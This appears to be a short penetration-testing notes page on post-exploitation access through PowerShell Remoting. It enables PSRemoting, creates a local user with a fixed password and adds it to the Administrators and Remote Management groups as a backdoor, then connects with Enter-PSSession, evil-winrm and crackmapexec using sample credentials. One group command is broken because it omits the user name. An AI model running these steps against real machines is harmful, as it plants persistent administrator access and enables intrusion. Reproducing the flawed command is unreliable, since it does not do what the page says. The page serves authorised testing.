# PSRemoting
## Enabling PSRemoting
After getting administrator access to a machine it is possible to enable PSRemoting:
```
Enable-PSRemoting
```
It might be usefull to add a new user or a user you already have to the local `Administrator` or `Remote Management Group`.
```
net user user Welcome01! /add
net localgroup administrators user /add
net localgroup "Remote Management Users" /add
```
## Accessing the machine
### PowerShell Enter-PSsession
```
Enter-PSSession ws01
```
### Evil-WinRM
*
```
evil-winrm -i 10.0.0.128 -u john -p 'Welcome2022!'
```
## Crackmapexec
*
```
crackmapexec winrm 10.0.0.128 -u john -p 'Welcome2022!'
```
{% hint style="info" %}
#### Observation
During testing I found out that crackmapexec is really slow over winrm if Windows Firewall is enabled on our fully up-to-date Windows 10 machine.
{% endhint %}
## References
{% embed url="" %}
{% embed url="" %}
